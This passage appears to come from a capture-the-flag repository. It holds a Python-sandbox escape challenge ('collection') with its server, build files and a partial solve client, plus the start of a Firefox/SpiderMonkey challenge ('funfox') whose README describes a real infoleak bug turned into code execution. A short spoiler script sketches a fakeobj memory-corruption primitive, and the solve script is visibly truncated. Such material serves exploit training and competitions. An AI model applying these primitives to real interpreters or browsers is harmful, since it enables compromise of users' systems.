LO_ARG(idx) offsetof(struct seccomp_data, args[(idx)]) 89 | #elif __BYTE_ORDER == __BIG_ENDIAN 90 | #define LO_ARG(idx) offsetof(struct seccomp_data, args[(idx)]) + sizeof(__u32) 91 | #else 92 | #error "Unknown endianness" 93 | #endif 94 | 95 | /* Map all width-sensitive operations */ 96 | #if __BITS_PER_LONG == 32 97 | 98 | #define JEQ(x, jt) JEQ32(x, EXPAND(jt)) 99 | #define JNE(x, jt) JNE32(x, EXPAND(jt)) 100 | #define JGT(x, jt) JGT32(x, EXPAND(jt)) 101 | #define JLT(x, jt) JLT32(x, EXPAND(jt)) 102 | #define JGE(x, jt) JGE32(x, EXPAND(jt)) 103 | #define JLE(x, jt) JLE32(x, EXPAND(jt)) 104 | #define JA(x, jt) JA32(x, EXPAND(jt)) 105 | #define ARG(i) ARG_32(i) 106 | 107 | #elif __BITS_PER_LONG == 64 108 | 109 | /* Ensure that we load the logically correct offset. */ 110 | #if __BYTE_ORDER == __LITTLE_ENDIAN 111 | #define ENDIAN(_lo, _hi) _lo, _hi 112 | #define HI_ARG(idx) offsetof(struct seccomp_data, args[(idx)]) + sizeof(__u32) 113 | #elif __BYTE_ORDER == __BIG_ENDIAN 114 | #define ENDIAN(_lo, _hi) _hi, _lo 115 | #define HI_ARG(idx) offsetof(struct seccomp_data, args[(idx)]) 116 | #endif 117 | 118 | union arg64 { 119 | struct { 120 | __u32 ENDIAN(lo32, hi32); 121 | }; 122 | __u64 u64; 123 | }; 124 | 125 | #define JEQ(x, jt) \ 126 | JEQ64(((union arg64){.u64 = (x)}).lo32, \ 127 | ((union arg64){.u64 = (x)}).hi32, \ 128 | EXPAND(jt)) 129 | #define JGT(x, jt) \ 130 | JGT64(((union arg64){.u64 = (x)}).lo32, \ 131 | ((union arg64){.u64 = (x)}).hi32, \ 132 | EXPAND(jt)) 133 | #define JGE(x, jt) \ 134 | JGE64(((union arg64){.u64 = (x)}).lo32, \ 135 | ((union arg64){.u64 = (x)}).hi32, \ 136 | EXPAND(jt)) 137 | #define JNE(x, jt) \ 138 | JNE64(((union arg64){.u64 = (x)}).lo32, \ 139 | ((union arg64){.u64 = (x)}).hi32, \ 140 | EXPAND(jt)) 141 | #define JLT(x, jt) \ 142 | JLT64(((union arg64){.u64 = (x)}).lo32, \ 143 | ((union arg64){.u64 = (x)}).hi32, \ 144 | EXPAND(jt)) 145 | #define JLE(x, jt) \ 146 | JLE64(((union arg64){.u64 = (x)}).lo32, \ 147 | ((union arg64){.u64 = (x)}).hi32, \ 148 | EXPAND(jt)) 149 | 150 | #define JA(x, jt) \ 151 | JA64(((union arg64){.u64 = (x)}).lo32, \ 152 | ((union arg64){.u64 = (x)}).hi32, \ 153 | EXPAND(jt)) 154 | #define ARG(i) ARG_64(i) 155 | 156 | #else 157 | #error __BITS_PER_LONG value unusable. 158 | #endif 159 | 160 | /* Loads the arg into A */ 161 | #define ARG_32(idx) \ 162 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, LO_ARG(idx)) 163 | 164 | /* Loads lo into M[0] and hi into M[1] and A */ 165 | #define ARG_64(idx) \ 166 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, LO_ARG(idx)), \ 167 | BPF_STMT(BPF_ST, 0), /* lo -> M[0] */ \ 168 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, HI_ARG(idx)), \ 169 | BPF_STMT(BPF_ST, 1) /* hi -> M[1] */ 170 | 171 | #define JEQ32(value, jt) \ 172 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (value), 0, 1), \ 173 | jt 174 | 175 | #define JA32(value, jt) \ 176 | BPF_JUMP(BPF_JMP+BPF_JSET+BPF_K, (value), 0, 1), \ 177 | jt 178 | 179 | #define JGE32(value, jt) \ 180 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K, (value), 0, 1), \ 181 | jt 182 | 183 | #define JGT32(value, jt) \ 184 | BPF_JUMP(BPF_JMP+BPF_JGT+BPF_K, (value), 0, 1), \ 185 | jt 186 | 187 | #define JLE32(value, jt) \ 188 | BPF_JUMP(BPF_JMP+BPF_JGT+BPF_K, (value), 1, 0), \ 189 | jt 190 | 191 | #define JLT32(value, jt) \ 192 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K, (value), 1, 0), \ 193 | jt 194 | 195 | /* 196 | * All the JXX64 checks assume lo is saved in M[0] and hi is saved in both 197 | * A and M[1]. This invariant is kept by restoring A if necessary. 198 | */ 199 | #define JEQ64(lo, hi, jt) \ 200 | /* if (hi != arg.hi) goto NOMATCH; */ \ 201 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (hi), 0, 5), \ 202 | BPF_STMT(BPF_LD+BPF_MEM, 0), /* swap in lo */ \ 203 | /* if (lo != arg.lo) goto NOMATCH; */ \ 204 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (lo), 0, 2), \ 205 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 206 | jt, \ 207 | BPF_STMT(BPF_LD+BPF_MEM, 1) 208 | 209 | #define JNE64(lo, hi, jt) \ 210 | /* if (hi != arg.hi) goto MATCH; */ \ 211 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (hi), 0, 3), \ 212 | BPF_STMT(BPF_LD+BPF_MEM, 0), \ 213 | /* if (lo != arg.lo) goto MATCH; */ \ 214 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (lo), 2, 0), \ 215 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 216 | jt, \ 217 | BPF_STMT(BPF_LD+BPF_MEM, 1) 218 | 219 | #define JA64(lo, hi, jt) \ 220 | /* if (hi & arg.hi) goto MATCH; */ \ 221 | BPF_JUMP(BPF_JMP+BPF_JSET+BPF_K, (hi), 3, 0), \ 222 | BPF_STMT(BPF_LD+BPF_MEM, 0), \ 223 | /* if (lo & arg.lo) goto MATCH; */ \ 224 | BPF_JUMP(BPF_JMP+BPF_JSET+BPF_K, (lo), 0, 2), \ 225 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 226 | jt, \ 227 | BPF_STMT(BPF_LD+BPF_MEM, 1) 228 | 229 | #define JGE64(lo, hi, jt) \ 230 | /* if (hi > arg.hi) goto MATCH; */ \ 231 | BPF_JUMP(BPF_JMP+BPF_JGT+BPF_K, (hi), 4, 0), \ 232 | /* if (hi != arg.hi) goto NOMATCH; */ \ 233 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (hi), 0, 5), \ 234 | BPF_STMT(BPF_LD+BPF_MEM, 0), \ 235 | /* if (lo >= arg.lo) goto MATCH; */ \ 236 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K, (lo), 0, 2), \ 237 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 238 | jt, \ 239 | BPF_STMT(BPF_LD+BPF_MEM, 1) 240 | 241 | #define JGT64(lo, hi, jt) \ 242 | /* if (hi > arg.hi) goto MATCH; */ \ 243 | BPF_JUMP(BPF_JMP+BPF_JGT+BPF_K, (hi), 4, 0), \ 244 | /* if (hi != arg.hi) goto NOMATCH; */ \ 245 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (hi), 0, 5), \ 246 | BPF_STMT(BPF_LD+BPF_MEM, 0), \ 247 | /* if (lo > arg.lo) goto MATCH; */ \ 248 | BPF_JUMP(BPF_JMP+BPF_JGT+BPF_K, (lo), 0, 2), \ 249 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 250 | jt, \ 251 | BPF_STMT(BPF_LD+BPF_MEM, 1) 252 | 253 | #define JLE64(lo, hi, jt) \ 254 | /* if (hi < arg.hi) goto MATCH; */ \ 255 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K, (hi), 0, 4), \ 256 | /* if (hi != arg.hi) goto NOMATCH; */ \ 257 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (hi), 0, 5), \ 258 | BPF_STMT(BPF_LD+BPF_MEM, 0), \ 259 | /* if (lo <= arg.lo) goto MATCH; */ \ 260 | BPF_JUMP(BPF_JMP+BPF_JGT+BPF_K, (lo), 2, 0), \ 261 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 262 | jt, \ 263 | BPF_STMT(BPF_LD+BPF_MEM, 1) 264 | 265 | #define JLT64(lo, hi, jt) \ 266 | /* if (hi < arg.hi) goto MATCH; */ \ 267 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K, (hi), 0, 4), \ 268 | /* if (hi != arg.hi) goto NOMATCH; */ \ 269 | BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, (hi), 0, 5), \ 270 | BPF_STMT(BPF_LD+BPF_MEM, 0), \ 271 | /* if (lo < arg.lo) goto MATCH; */ \ 272 | BPF_JUMP(BPF_JMP+BPF_JGE+BPF_K, (lo), 2, 0), \ 273 | BPF_STMT(BPF_LD+BPF_MEM, 1), \ 274 | jt, \ 275 | BPF_STMT(BPF_LD+BPF_MEM, 1) 276 | 277 | #define LOAD_SYSCALL_NR \ 278 | BPF_STMT(BPF_LD+BPF_W+BPF_ABS, \ 279 | offsetof(struct seccomp_data, nr)) 280 | 281 | 282 | int bpf_resolve_jumps(struct bpf_labels *labels, 283 | struct sock_filter *filter, size_t count); 284 | 285 | /* Simple lookup table for labels. */ 286 | __u32 seccomp_bpf_label(struct bpf_labels *labels, const char *label); 287 | 288 | void seccomp_bpf_print(struct sock_filter *filter, size_t count); 289 | 290 | void 291 | init_sandbox(); 292 | -------------------------------------------------------------------------------- /collection/server.py: -------------------------------------------------------------------------------- 1 | import os 2 | import tempfile 3 | import os 4 | import string 5 | import random 6 | 7 | def randstr(): 8 | return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) 9 | 10 | 11 | flag = open("flag", "r") 12 | 13 | 14 | prefix = """ 15 | from sys import modules 16 | del modules['os'] 17 | import Collection 18 | keys = list(__builtins__.__dict__.keys()) 19 | for k in keys: 20 | if k != 'id' and k != 'hex' and k != 'print' and k != 'range': 21 | del __builtins__.__dict__[k] 22 | 23 | """ 24 | 25 | 26 | size_max = 20000 27 | 28 | print("enter your code, enter the string END_OF_PWN on a single line to finish") 29 | 30 | 31 | code = prefix 32 | new = "" 33 | finished = False 34 | 35 | while size_max > len(code): 36 | new = raw_input("code> ") 37 | if new == "END_OF_PWN": 38 | finished = True 39 | break 40 | code += new + "\n" 41 | 42 | if not finished: 43 | print("max length exceeded") 44 | sys.exit(42) 45 | 46 | 47 | file_name = "/tmp/%s" % randstr() 48 | with open(file_name, "w+") as f: 49 | f.write(code.encode()) 50 | 51 | 52 | os.dup2(flag.fileno(), 1023) 53 | flag.close() 54 | 55 | cmd = "python3.6 -u %s" % file_name 56 | os.system(cmd) 57 | -------------------------------------------------------------------------------- /collection/setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup, Extension 2 | setup(name = 'Collection', version = '1.0', ext_modules = [Extension('Collection', ['module.c', 'utils.c', 'types.c', 'sandbox.c'])]) 3 | -------------------------------------------------------------------------------- /collection/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python2 2 | import time 3 | import telnetlib 4 | import sys 5 | import binascii 6 | import struct 7 | import socket 8 | import random 9 | 10 | def randstr(length=10): 11 | return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(length)) 12 | 13 | 14 | def log(s): 15 | print "[\033[0;32m***\033[0m] %s" % s 16 | 17 | HOST = "127.0.0.1" if len(sys.argv) < 2 else sys.argv[1] 18 | PORT = 4444 if len(sys.argv) < 2 else int(sys.argv[2]) 19 | TARGET = (HOST, PORT) 20 | 21 | sock = None 22 | try: 23 | sock = socket.create_connection(TARGET) 24 | except: 25 | log("FAILED TO ESTABLISH SOCKET, ABORTING!!!") 26 | sys.exit(1) 27 | 28 | 29 | def ru(delim): 30 | buf = "" 31 | while not delim in buf: 32 | buf += sock.recv(1) 33 | return buf 34 | 35 | def interact(): 36 | log("Switching to interactive mode") 37 | t = telnetlib.Telnet() 38 | t.sock = sock 39 | t.interact() 40 | 41 | import subprocess 42 | def solve_pow(task): 43 | sol = subprocess.check_output(["./pow.py", task]) 44 | sol = sol.split("\n")[-2] 45 | assert "Solution" in sol 46 | sol = sol.split(": ")[1] 47 | log("sol is %s" % sol) 48 | return sol 49 | 50 | p32 = lambda v: struct.pack(" ") 76 | sa(l) 77 | 78 | sa("END_OF_PWN\n") 79 | 80 | print sock.recv(1024) 81 | print sock.recv(1024) 82 | print sock.recv(1024) 83 | print sock.recv(1024) 84 | print sock.recv(1024) 85 | print sock.recv(1024) 86 | print sock.recv(1024) 87 | print sock.recv(1024) 88 | print sock.recv(1024) 89 | print sock.recv(1024) 90 | print sock.recv(1024) 91 | print sock.recv(1024) 92 | print sock.recv(1024) 93 | print sock.recv(1024) 94 | print sock.recv(1024) 95 | -------------------------------------------------------------------------------- /collection/spoiler.py: -------------------------------------------------------------------------------- 1 | import JsCollection 2 | 3 | target = [0x42424242,0x42424242,0x42424242,0x42424242,0x42424242] 4 | 5 | addr = id(target) + 8 6 | 7 | 8 | 9 | a = JsCollection.JsCollection({"a":1337, "b":[1.2]}) 10 | b = JsCollection.JsCollection({"b":[1.3], "a":addr}) 11 | fakeobj = b.get("b") 12 | 13 | print("crash") 14 | input() 15 | -------------------------------------------------------------------------------- /collection/start_server.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if timeout 120 python pow.py ask 10388606; then 4 | CGID="$(( ( RANDOM % 4 ) + 1 ))" 5 | cgexec -g "cpu,memory,pids:$CHAL_NAME/$CGID" timeout 30 python -u server.py 6 | fi 7 | -------------------------------------------------------------------------------- /collection/starter.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ $# -eq 0 ]; then 4 | echo 'need the challenge name as arg1' 5 | exit 1 6 | fi 7 | 8 | CHAL_NAME=$1 9 | export CHAL_NAME 10 | 11 | 12 | MEMLIMIT=800000000 13 | CPUSHARES=128 14 | MAXPIDS=256 15 | 16 | for i in {1..4}; do 17 | cgcreate -t collection -g "cpu,memory,pids:$CHAL_NAME/$i" 18 | echo $MEMLIMIT > /sys/fs/cgroup/memory/$CHAL_NAME/$i/memory.limit_in_bytes 19 | echo $CPUSHARES > /sys/fs/cgroup/cpu/$CHAL_NAME/$i/cpu.shares 20 | echo $MAXPIDS > /sys/fs/cgroup/pids/$CHAL_NAME/$i/pids.max 21 | done 22 | 23 | 24 | #/chall/killer.sh & 25 | xinetd -d -dontfork 26 | -------------------------------------------------------------------------------- /collection/test.py: -------------------------------------------------------------------------------- 1 | import Collection 2 | 3 | a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}}) 4 | 5 | print(a.get("a")) 6 | print(a.get("b")) 7 | print(a.get("c")) 8 | 9 | 10 | -------------------------------------------------------------------------------- /collection/types.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "types.h" 6 | 7 | record* newRecord(char* name, typeValue typeVal) { 8 | record* rec = malloc(sizeof(record)); 9 | rec->name = name; 10 | rec->type = typeVal; 11 | return rec; 12 | } 13 | 14 | int recordComparator(record* record1, record* record2) { 15 | int nameNotEquals = strcmp(record1->name, record2->name); 16 | 17 | if (!nameNotEquals) { 18 | return record1->type - record2->type; 19 | } 20 | 21 | return nameNotEquals; 22 | } 23 | 24 | int recordNameComparator(record* record1, const char* key) { 25 | return strcmp(record1->name, key); 26 | } 27 | 28 | void printRecord(record* rec) { 29 | printf("%s:%d\n", rec->name, rec->type); 30 | } 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /collection/types.h: -------------------------------------------------------------------------------- 1 | typedef enum typeValue { 2 | typeList, 3 | typeLong, 4 | typeDict, 5 | } typeValue; 6 | 7 | typedef struct record { 8 | char* name; 9 | typeValue type; 10 | } record; 11 | 12 | 13 | 14 | 15 | record* newRecord(char*, typeValue); 16 | int recordComparator(record*, record*); 17 | int recordNameComparator(record*, const char*); 18 | void printRecord(record*); 19 | -------------------------------------------------------------------------------- /collection/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "utils.h" 6 | #include "types.h" 7 | 8 | 9 | 10 | list* listCreate() { 11 | list* list = malloc(sizeof(list)); 12 | list->head = NULL; 13 | list->end = NULL; 14 | list->count = 0; 15 | return list; 16 | } 17 | 18 | 19 | node* createNode(void* elem) { 20 | node* node = malloc(sizeof(node)); 21 | node->value = elem; 22 | node->next = NULL; 23 | return node; 24 | } 25 | void listAppend(list* list, void* elem) { 26 | node* node = createNode(elem); 27 | if (!list->count) { 28 | list->head = node; 29 | } else { 30 | list->end->next = node; 31 | } 32 | list->end = node; 33 | list->count++; 34 | } 35 | 36 | void listAddOrdered(list* list, void* elem, comparator comp) { 37 | node* add = createNode(elem); 38 | if (!list->count) { 39 | // empty list 40 | list->head = add; 41 | list->end = add; 42 | } else if (list->count == 1) { 43 | // 1 elem list 44 | if (comp(list->head->value, elem) < 0) { 45 | // add to front 46 | add->next = list->head; 47 | list->head = add; 48 | } else { 49 | list->end->next = add; 50 | list->end = add; 51 | } 52 | } else { 53 | // multi element list 54 | node* previous = NULL; 55 | node* it = list->head; 56 | while (it) { 57 | if (comp(it->value, elem) < 0) { 58 | add->next = it; 59 | if (previous) { 60 | previous->next = add; 61 | } 62 | if (it == list->head) { 63 | list->head = add; 64 | } 65 | break; 66 | 67 | } else if (it == list->end) { 68 | list->end->next = add; 69 | list->end = add; 70 | break; 71 | } 72 | previous = it; 73 | it = it->next; 74 | } 75 | } 76 | list->count++; 77 | } 78 | 79 | void listIterate(list* list, callback cb) { 80 | 81 | if (!list->head) { 82 | return; 83 | } 84 | node* it = list->head; 85 | while (it) { 86 | cb(it->value); 87 | it = it->next; 88 | } 89 | 90 | } 91 | 92 | void printString(char* s) { 93 | printf("%s\n", s); 94 | } 95 | 96 | list* listSort(list* l, comparator comp) { 97 | list* sorted = listCreate(); 98 | if (!l->head) { 99 | return sorted; 100 | } 101 | node* it = l->head; 102 | while (it) { 103 | listAddOrdered(sorted, it->value, comp); 104 | it = it->next; 105 | } 106 | return sorted; 107 | } 108 | 109 | bool listEqual(list* l1, list* l2, comparator comp) { 110 | /*printf("list equal\n");*/ 111 | /*listIterate(l1, printRecord);*/ 112 | /*listIterate(l2, printRecord);*/ 113 | 114 | if (l1->count != l2->count) { 115 | return false; 116 | } 117 | node* it1 = l1->head; 118 | node* it2 = l2->head; 119 | 120 | while (it1) { 121 | 122 | if (comp(it1->value, it2->value)) { 123 | return false; 124 | } 125 | 126 | it1 = it1->next; 127 | it2 = it2->next; 128 | } 129 | return true; 130 | } 131 | 132 | int listIndexOf(list* list, void* elem, comparator comp) { 133 | 134 | if (!list->head) { 135 | return -1; 136 | } 137 | int index = 0; 138 | node* it = list->head; 139 | while (it) { 140 | 141 | if (!comp(it->value, elem)) { 142 | return index; 143 | } 144 | it = it->next; 145 | index++; 146 | } 147 | return -1; 148 | } 149 | 150 | bool listIsEquivalent(list* l1, list* l2, comparator comp) { 151 | if (l1->count != l2->count) { 152 | return false; 153 | } 154 | // don't care about memory leaks 155 | return listEqual(listSort(l1, comp), listSort(l2, comp), comp); 156 | } 157 | 158 | /*int main() {*/ 159 | 160 | /*[>list* list1 = listCreate();<]*/ 161 | /*[>listAppend(list1, "a");<]*/ 162 | /*[>listAppend(list1, "b");<]*/ 163 | /*[>listAppend(list1, "a");<]*/ 164 | /*[>listAppend(list1, "c");<]*/ 165 | /*[>listIterate(list1, printString);<]*/ 166 | /*[>list* list2 = listCreate();<]*/ 167 | /*[>listAppend(list2, "a");<]*/ 168 | /*[>listAppend(list2, "b");<]*/ 169 | /*[>listAppend(list2, "a");<]*/ 170 | /*[>listAppend(list2, "c");<]*/ 171 | /*[>listIterate(list2, printString);<]*/ 172 | /*[>printf("%d\n", listEqual(list1, list2, strcmp));<]*/ 173 | /*[>list* list3 = listCreate();<]*/ 174 | /*[>listAppend(list3, "a");<]*/ 175 | /*[>listAppend(list3, "a");<]*/ 176 | /*[>listAppend(list3, "b");<]*/ 177 | /*[>listAppend(list3, "c");<]*/ 178 | /*[>listIterate(list3, printString);<]*/ 179 | /*[>printf("%d\n", listIsEquivalent(list1, list3, strcmp));<]*/ 180 | 181 | 182 | /*list* l1 = listCreate();*/ 183 | /*listAppend(l1, newRecord("a", typeLong));*/ 184 | /*listAppend(l1, newRecord("b", typeObject));*/ 185 | /*listIterate(l1, printRecord);*/ 186 | /*list* l2 = listCreate();*/ 187 | /*listAppend(l2, newRecord("b", typeLong));*/ 188 | /*listAppend(l2, newRecord("a", typeLong));*/ 189 | /*listIterate(l2, printRecord);*/ 190 | 191 | /*printf("%d\n", listIsEquivalent(l1, l2, recordComparator));*/ 192 | 193 | /*return 1;*/ 194 | /*}*/ 195 | 196 | 197 | 198 | -------------------------------------------------------------------------------- /collection/utils.h: -------------------------------------------------------------------------------- 1 | #define true 1 2 | #define false 0 3 | #define bool int 4 | 5 | typedef struct node { 6 | void* value; 7 | struct node* next; 8 | } node; 9 | 10 | typedef struct list { 11 | node* head; 12 | node* end; 13 | unsigned int count; 14 | } list; 15 | 16 | typedef int (*comparator)(void*, void*); 17 | typedef void (*callback)(void*); 18 | 19 | 20 | list* listCreate(void); 21 | void listAppend(list* list, void* elem); 22 | int listIndexOf(list* list, void* elem, comparator comp); 23 | void listIterate(list* list, callback callback); 24 | bool listIsEquivalent(list* list1, list* list2, comparator comp); 25 | bool listEqual(list* l1, list* l2, comparator comp); 26 | 27 | -------------------------------------------------------------------------------- /collection/xinetd.conf: -------------------------------------------------------------------------------- 1 | service collection 2 | { 3 | socket_type = stream 4 | protocol = tcp 5 | port = 4444 6 | type = UNLISTED 7 | wait = no 8 | user = collection 9 | server = /bin/bash 10 | server_args = start_server.sh 11 | } 12 | -------------------------------------------------------------------------------- /funfox/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get -y update 3 | RUN apt-get -y install xinetd cgroup-tools python 4 | 5 | RUN groupadd -g 1000 h2w && useradd -g h2w -m -u 1000 h2w -s /bin/bash 6 | 7 | RUN mkdir /chall 8 | COPY flag /flag 9 | COPY js /js 10 | RUN chmod +x /js 11 | COPY server.py /server.py 12 | COPY starter.sh /starter.sh 13 | RUN chmod +x /starter.sh 14 | COPY start_server.sh /start_server.sh 15 | RUN chmod +x /start_server.sh 16 | COPY xinetd.conf /etc/xinetd.d/chall 17 | COPY pow.py /pow.py 18 | CMD /starter.sh h2w 19 | 20 | -------------------------------------------------------------------------------- /funfox/README.md: -------------------------------------------------------------------------------- 1 | # Funfox 2 | 3 | Challenge that we based off the bug (niklasb)[https://twitter.com/\_niklasb] and I used to win the Firefox infoleak category at Hack2Win eXtreme 2018. Public information was available but only with the info leak exploit. 4 | 5 | This bug can actually be turned into RCE as shown in the exploit 6 | -------------------------------------------------------------------------------- /funfox/diff.patch: -------------------------------------------------------------------------------- 1 | diff --git a/js/src/builtin/TestingFunctions.cpp b/js/src/builtin/TestingFunctions.cpp 2 | index d8187e5594f7..b412e1767bab 100644 3 | --- a/js/src/builtin/TestingFunctions.cpp 4 | +++ b/js/src/builtin/TestingFunctions.cpp 5 | @@ -5194,709 +5194,10 @@ BaselineCompile(JSContext* cx, unsigned argc, Value* vp) 6 | } 7 | 8 | static const JSFunctionSpecWithHelp TestingFunctions[] = { 9 | - JS_FN_HELP("gc", ::GC, 0, 0, 10 | -"gc([obj] | 'zone' [, 'shrinking'])", 11 | -" Run the garbage collector. When obj is given, GC only its zone.\n" 12 | -" If 'zone' is given, GC any zones that were scheduled for\n" 13 | -" GC via schedulegc.\n" 14 | -" If 'shrinking' is passed as the optional second argument, perform a\n" 15 | -" shrinking GC rather than a normal GC."), 16 | - 17 | - JS_FN_HELP("minorgc", ::MinorGC, 0, 0, 18 | -"minorgc([aboutToOverflow])", 19 | -" Run a minor collector on the Nursery. When aboutToOverflow is true, marks\n" 20 | -" the store buffer as about-to-overflow before collecting."), 21 | - 22 | - JS_FN_HELP("gcparam", GCParameter, 2, 0, 23 | -"gcparam(name [, value])", 24 | -" Wrapper for JS_[GS]etGCParameter. The name is one of:" GC_PARAMETER_ARGS_LIST), 25 | - 26 | - JS_FN_HELP("relazifyFunctions", RelazifyFunctions, 0, 0, 27 | -"relazifyFunctions(...)", 28 | -" Perform a GC and allow relazification of functions. Accepts the same\n" 29 | -" arguments as gc()."), 30 | - 31 | - JS_FN_HELP("getBuildConfiguration", GetBuildConfiguration, 0, 0, 32 | -"getBuildConfiguration()", 33 | -" Return an object describing some of the configuration options SpiderMonkey\n" 34 | -" was built with."), 35 | - 36 | - JS_FN_HELP("hasChild", HasChild, 0, 0, 37 | -"hasChild(parent, child)", 38 | -" Return true if |child| is a child of |parent|, as determined by a call to\n" 39 | -" TraceChildren"), 40 | - 41 | - JS_FN_HELP("setSavedStacksRNGState", SetSavedStacksRNGState, 1, 0, 42 | -"setSavedStacksRNGState(seed)", 43 | -" Set this compartment's SavedStacks' RNG state.\n"), 44 | - 45 | - JS_FN_HELP("getSavedFrameCount", GetSavedFrameCount, 0, 0, 46 | -"getSavedFrameCount()", 47 | -" Return the number of SavedFrame instances stored in this compartment's\n" 48 | -" SavedStacks cache."), 49 | - 50 | - JS_FN_HELP("clearSavedFrames", ClearSavedFrames, 0, 0, 51 | -"clearSavedFrames()", 52 | -" Empty the current compartment's cache of SavedFrame objects, so that\n" 53 | -" subsequent stack captures allocate fresh objects to represent frames.\n" 54 | -" Clear the current stack's LiveSavedFrameCaches."), 55 | - 56 | - JS_FN_HELP("saveStack", SaveStack, 0, 0, 57 | -"saveStack([maxDepth [, compartment]])", 58 | -" Capture a stack. If 'maxDepth' is given, capture at most 'maxDepth' number\n" 59 | -" of frames. If 'compartment' is given, allocate the js::SavedFrame instances\n" 60 | -" with the given object's compartment."), 61 | - 62 | - JS_FN_HELP("captureFirstSubsumedFrame", CaptureFirstSubsumedFrame, 1, 0, 63 | -"saveStack(object [, shouldIgnoreSelfHosted = true]])", 64 | -" Capture a stack back to the first frame whose principals are subsumed by the\n" 65 | -" object's compartment's principals. If 'shouldIgnoreSelfHosted' is given,\n" 66 | -" control whether self-hosted frames are considered when checking principals."), 67 | - 68 | - JS_FN_HELP("callFunctionFromNativeFrame", CallFunctionFromNativeFrame, 1, 0, 69 | -"callFunctionFromNativeFrame(function)", 70 | -" Call 'function' with a (C++-)native frame on stack.\n" 71 | -" Required for testing that SaveStack properly handles native frames."), 72 | - 73 | - JS_FN_HELP("callFunctionWithAsyncStack", CallFunctionWithAsyncStack, 0, 0, 74 | -"callFunctionWithAsyncStack(function, stack, asyncCause)", 75 | -" Call 'function', using the provided stack as the async stack responsible\n" 76 | -" for the call, and propagate its return value or the exception it throws.\n" 77 | -" The function is called with no arguments, and 'this' is 'undefined'. The\n" 78 | -" specified |asyncCause| is attached to the provided stack frame."), 79 | - 80 | - JS_FN_HELP("enableTrackAllocations", EnableTrackAllocations, 0, 0, 81 | -"enableTrackAllocations()", 82 | -" Start capturing the JS stack at every allocation. Note that this sets an\n" 83 | -" object metadata callback that will override any other object metadata\n" 84 | -" callback that may be set."), 85 | - 86 | - JS_FN_HELP("disableTrackAllocations", DisableTrackAllocations, 0, 0, 87 | -"disableTrackAllocations()", 88 | -" Stop capturing the JS stack at every allocation."), 89 | - 90 | - JS_FN_HELP("newExternalString", NewExternalString, 1, 0, 91 | -"newExternalString(str)", 92 | -" Copies str's chars and returns a new external string."), 93 | - 94 | - JS_FN_HELP("newMaybeExternalString", NewMaybeExternalString, 1, 0, 95 | -"newMaybeExternalString(str)", 96 | -" Like newExternalString but uses the JS_NewMaybeExternalString API."), 97 | - 98 | - JS_FN_HELP("ensureFlatString", EnsureFlatString, 1, 0, 99 | -"ensureFlatString(str)", 100 | -" Ensures str is a flat (null-terminated) string and returns it."), 101 | - 102 | - JS_FN_HELP("representativeStringArray", RepresentativeStringArray, 0, 0, 103 | -"representativeStringArray()", 104 | -" Returns an array of strings that represent the various internal string\n" 105 | -" types and character encodings."), 106 | - 107 | -#if defined(DEBUG) || defined(JS_OOM_BREAKPOINT) 108 | - 109 | - JS_FN_HELP("oomThreadTypes", OOMThreadTypes, 0, 0, 110 | -"oomThreadTypes()", 111 | -" Get the number of thread types that can be used as an argument for\n" 112 | -" oomAfterAllocations() and oomAtAllocation()."), 113 | - 114 | - JS_FN_HELP("oomAfterAllocations", OOMAfterAllocations, 2, 0, 115 | -"oomAfterAllocations(count [,threadType])", 116 | -" After 'count' js_malloc memory allocations, fail every following allocation\n" 117 | -" (return nullptr). The optional thread type limits the effect to the\n" 118 | -" specified type of helper thread."), 119 | - 120 | - JS_FN_HELP("oomAtAllocation", OOMAtAllocation, 2, 0, 121 | -"oomAtAllocation(count [,threadType])", 122 | -" After 'count' js_malloc memory allocations, fail the next allocation\n" 123 | -" (return nullptr). The optional thread type limits the effect to the\n" 124 | -" specified type of helper thread."), 125 | - 126 | - JS_FN_HELP("resetOOMFailure", ResetOOMFailure, 0, 0, 127 | -"resetOOMFailure()", 128 | -" Remove the allocation failure scheduled by either oomAfterAllocations() or\n" 129 | -" oomAtAllocation() and return whether any allocation had been caused to fail."), 130 | - 131 | - JS_FN_HELP("oomTest", OOMTest, 0, 0, 132 | -"oomTest(function, [expectExceptionOnFailure = true])", 133 | -" Test that the passed function behaves correctly under OOM conditions by\n" 134 | -" repeatedly executing it and simulating allocation failure at successive\n" 135 | -" allocations until the function completes without seeing a failure.\n" 136 | -" By default this tests that an exception is raised if execution fails, but\n" 137 | -" this can be disabled by passing false as the optional second parameter.\n" 138 | -" This is also disabled when --fuzzing-safe is specified."), 